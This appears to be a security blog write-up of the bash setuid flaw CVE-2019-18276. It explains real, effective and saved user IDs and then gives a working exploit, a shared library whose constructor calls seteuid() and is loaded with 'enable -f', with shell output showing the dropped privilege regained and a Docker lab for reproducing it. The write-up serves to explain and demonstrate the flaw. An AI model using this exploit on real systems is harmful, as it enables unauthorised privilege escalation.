This exploit was initially based on an older vulnerability back in 1999 (suidperl). Now after 20 years in 2019 we found the same vulnerability in bash (CVE-2019-18276) was discovered by Ian Pudney.

TL;DR Link to heading

The root cause of this vulnerability is that bash doesn’t handle setuid bit correctly, by default bash will drop the SUID privilege if the Real UID is different from the Effective UID, but it forget to drop also the Saved UID. Before we continue let’s first define :

Real UID vs Effective UID vs Saved UID Link to heading

  • Real UserID : It is the owner of the process.
  • Effective UserID : By default it is the same as Real UserID, but sometimes it is changed to give more privilege to the user, e.g : setuid bit.
  • Saved UserID : Sometimes when a privileged user (generally root) wants to do some non-privileged activities, this can be achieved by temporarily switching to non-privileged account.

setuid() vs seteuid() Link to heading

  • setuid() : This function will change both the (Real UserID, Effective UserID and Saved UserID) of the current process to the specified value.
  • seteuid() : This function will change the Effective UserID to the specified value. The effective user ID may be set to the value of the real user ID or the saved set-user-ID.

Example Link to heading

#include <stdio.h>
#include <stdlib.h>

int main(){
printf("UID = %d , eUID = %d \n",getuid(),geteuid());
system("id");
seteuid(1001);
printf("UID = %d , eUID = %d \n",getuid(),geteuid());
system("id");
}

After compiling this code we need to specify the setuid bit on the binary and run it from a different user.

alice@suidbash:/CVE-2019-18276$ ls -la
total 24
drwxrwxrwt 1 alice  alice  4096   Nov 29 09:59 .
drwxr-xr-x 1 alice  alice  4096   Nov 28 21:42 ..
-rwsr-xr-x 1 bob    bob    8587   Nov 29 09:59 uid
-rwsr-xr-x 1 bob    bob    959120 Nov 28 21:49 bash
alice@suidbash:/CVE-2019-18276$ ./uid 
UID = 1001 , eUID = 1000 
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)
UID = 1001 , eUID = 1001 
uid=1001(alice) gid=1001(alice) groups=1001(alice)

As we can see the binary bash is set with the setuid bit, which mean that if alice user run this binary, she will get automatically bob’s privilege. However this will not happen with bash, because bash by default drops automatically the privilege if the user didn’t specify the -p option.

alice@suidbash:/CVE-2019-18276$ ./bash 
bash-4.2$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)

alice@suidbash:/CVE-2019-18276$ ./bash -p
bash-4.2$ id
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)

We are not sure if bash uses seteuid() function to drop the privilege, but after some testing we figure out that the Saved UID didn’t change.

The Attack Link to heading

bash doesn’t handle setuid bit correctly, which makes us able to recover the dropped privilege. To exploit this vulnerability we need to call the seteuid() function in order to recover the Saved UID. However the problem here is that we cannot exploit this by calling a binary to execute seteuid(), we need to call the seteuid() in the process runtime.

enable -f Link to heading

enable is a bash function that can be used to enable and disable builtin shell commands, and with option -f we can load a shared object.

Exploit Link to heading

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
// gcc -c -fPIC pwn.c -o pwn.o
// gcc -shared -fPIC pwn.o -o libpwn.so
void __attribute__ ((constructor)) initLibrary(void){
    seteuid(1000); // The Saved UID that we want to recover
}

After compiling the code all what we need to do is :

alice@suidbash:/CVE-2019-18276$ ./bash 
bash-4.2$ id      
uid=1001(alice) gid=1001(alice) groups=1001(alice)
bash-4.2$ enable -f ./libpwn.so asd
bash: enable: cannot find asd_struct in shared object ./libpwn.so: ./libpwn.so: undefined symbol: asd_struct
bash-4.2$ id
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)
bash-4.2$ 

As you can see we have successfully recovered the dropped privilege.

Download: Link to heading

To repeat all the steps :

amriunix@hunter:~$ docker run -it -u alice -h suidbash amriunix/cve-2019-18276 /bin/bash
alice@suidbash:/$ cd CVE-2019-18276/
alice@suidbash:/CVE-2019-18276$ ls -la
total 980
drwxr-xr-x 2 alice alice   4096 Nov 29 10:57 .
drwxr-xr-x 1 root  root    4096 Nov 29 11:22 ..
-rwsr-xr-x 1 bob   bob   959120 Nov 28 21:49 bash
-rwxr-xr-x 1 alice alice   7876 Nov 28 21:52 libpwn.so
-rw-r--r-- 1 alice alice    138 Nov 28 21:47 pwn.c
-rw-r--r-- 1 alice alice   1608 Nov 28 21:52 pwn.o
-rwsr-xr-x 1 bob   bob     8587 Nov 29 10:57 uid
-rw-r--r-- 1 root  root     206 Nov 29 10:57 uid.c
alice@suidbash:/CVE-2019-18276$ 

References: Link to heading